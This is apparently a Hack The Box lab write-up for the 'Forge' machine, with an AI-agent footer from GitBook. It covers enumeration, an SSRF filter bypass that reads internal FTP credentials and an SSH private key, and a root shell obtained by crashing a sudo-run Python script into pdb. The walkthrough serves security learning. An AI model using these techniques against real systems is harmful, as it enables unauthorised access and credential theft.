> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-forge.md).

# HTB - Forge

## Enumeration and Foothold

### NMAP

```
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FuSwiby4qZLipltxwbBDn%2Fimage.png?alt=media&amp;token=4936d6e7-fd2d-46c2-9d14-d665b2ecffdc" alt=""><figcaption></figcaption></figure>

Add domain to hosts.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxGTTWtYORYYIcKDQdlNK%2Fimage.png?alt=media&amp;token=18bdd394-6f2b-45b3-b0ee-b8ae8ff46603" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBxoM1B38OTmPzQZSbxGs%2Fimage.png?alt=media&amp;token=21b8f203-e14b-43a9-be4c-506349acd21a" alt=""><figcaption></figcaption></figure>

i can upload form a URL possible situation for SSRF or File upload vulnerabilities.

```bash
──(ajay㉿kali)-[~]
└─$ wfuzz -u http://10.129.61.28 -H "Host: FUZZ.forge.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.61.28/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                    
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"                                                                                                                                                                    
000009532:   400        12 L     53 W       443 Ch      "#www"                                                                                                                                                                     
000010581:   400        12 L     53 W       443 Ch      "#mail"                                                                                                                                                                    

Total time: 102.5200
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 194.7521

```

add the domain file hosts.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FyFBZszbY1por7uQjgSY0%2Fimage.png?alt=media&amp;token=ed7321fa-ee32-4e0d-8ce4-beb456511ddd" alt=""><figcaption></figcaption></figure>

Based on that enumeration, there are two interesting targets:

* The admin site which can only be accessed from localhost;
* The FTP server which is behind the firewall.

Requesting the admin website though upload form resulted in error

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FX8IsUP6FjazZEE3789KU%2Fimage.png?alt=media&amp;token=8fce840c-42ee-43af-8f81-bd4baa8e585d" alt=""><figcaption></figcaption></figure>

### SSRF

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwEBRUlAsniaJ9TPfbObq%2Fimage.png?alt=media&amp;token=f895c787-8788-4877-acad-ddca6c7cc6b2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTq9yqzi31F2F9LeyNaI7%2Fimage.png?alt=media&amp;token=74446db3-1704-4487-be14-0888439f2361" alt=""><figcaption></figcaption></figure>

i can use other versions of mentioning the ip address

Decimal representation works.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRCCRAN5wMQnyqWDLjHoO%2Fimage.png?alt=media&amp;token=af351a1a-db18-418a-8572-89259df3e196" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1TfjFfUjOwwhojlqeSVa%2Fimage.png?alt=media&amp;token=efabdbde-c302-450f-ac8d-54ea258f3b9c" alt=""><figcaption></figcaption></figure>

With that let me try and see if i can get admin portal.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfrliNd7n47Rp4PDGp8Xh%2Fimage.png?alt=media&amp;token=a5e0c011-d6d4-4fac-9bc8-b2874b28edfe" alt=""><figcaption></figcaption></figure>

i need to bypass the filter.

known bypass is using caps

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEpzJCL4No7aZvakaFtqP%2Fimage.png?alt=media&amp;token=1b22ec83-b7e3-426b-a95a-94a4b9749332" alt=""><figcaption></figcaption></figure>

```bash
──(ajay㉿kali)-[~]
└─$ curl -s http://forge.htb/uploads/YJe67CGXcZLM54z6eMhH
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>
```

There is a new directory called announcements.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fa3ToLoU2zxgrcbDuoAcM%2Fimage.png?alt=media&amp;token=9dbe2efc-2291-4d12-9b47-76268e1c580e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F88IEvkypIHV6txe9qhWL%2Fimage.png?alt=media&amp;token=4e3a9bc3-cb5d-441b-92b6-33e2b96f3510" alt=""><figcaption></figcaption></figure>

Internal Ftp credentials leaked.

forge.htb's uploader fetches `admin.forge.htb/upload?u=ftp://...`, which fetches the internal FTP server and stores the result as an upload artifact you can read.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJgtLTpD8AQNBtxQLwhlB%2Fimage.png?alt=media&amp;token=33e79c2e-5a62-428e-b1d8-9e5307ce449b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FexDHaLa25OHWBfvaz2ZH%2Fimage.png?alt=media&amp;token=9e26efe4-95c4-4b6c-be9c-20b02ecba751" alt=""><figcaption></figcaption></figure>

That said i can try to read the ssh keys.

```
url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@2130706433/.ssh/id_rsa&remote=1' http://forge.htb/upload | grep -oP 'uploads/\w+'
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRbOu0sbJ8Ia9pWcp8w1A%2Fimage.png?alt=media&amp;token=c5979845-ccac-4a6f-ae7f-7058ce54bcb1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwaRm0DWmOFuUtFbMQN6D%2Fimage.png?alt=media&amp;token=2382fffc-0626-449e-aba9-f52e958c8749" alt=""><figcaption></figcaption></figure>

use the ssh key to login as user.

```
──(ajay㉿kali)-[~]
└─$ chmod 600 id_rsa                                                          
```

## Shell as User

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqiShKQxEPMPbHHCqIims%2Fimage.png?alt=media&amp;token=0c584654-dfcb-45e9-bc5b-9b57c91d78b3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpYExVjmsQkePI7o1tJHW%2Fimage.png?alt=media&amp;token=0b776481-e126-4bae-bc06-7818d734389f" alt=""><figcaption></figcaption></figure>

```bash
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
```

```bash
user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()
user@forge:~$ 

```

The user can run this python script as root without supplying any password this is a possible privilege escalation as the code is insecure.

```bash
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
```

If the script throws an exception while running, it drops into `pdb.post_mortem()` — an **interactive Python debugger**  on whatever terminal is running the script. If you ran it via `sudo`, that debugger session is running as root, in your terminal, connected to your input/output. `pdb` lets you execute arbitrary Python, including things like:

```bash
import os
os.system('/bin/bash')
```

So when ever a wrong password is entered the script is dropped in to python debugger.

Lets first run the script

```bash
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:42807
```

now ssh again into user on another terminal to access the port the script is listening.

and send wrong password.

```bash
user@forge:~$ printf '\xff' | nc 127.0.0.1 42807
Enter the secret passsword: 
```

now back on the script running shell it drops into pdb.

```bash
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:42807
'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
> /opt/remote-manage.py(17)<module>()
-> if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
(Pdb) 
```

that said i run the exec command to drop into root shell.

## Shell as Root

```bash
(Pdb) exec("import pty; pty.spawn('/bin/bash')")
root@forge:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@forge:/home/user# whoami
root
root@forge:/home/user# 
root@forge:/home/user# cd /root
root@forge:~# ls
clean-uploads.sh  root.txt  snap
root@forge:~# cat root.txt
d6d7067b276a6104d9c9d04896091a68
root@forge:~# 
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-forge.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
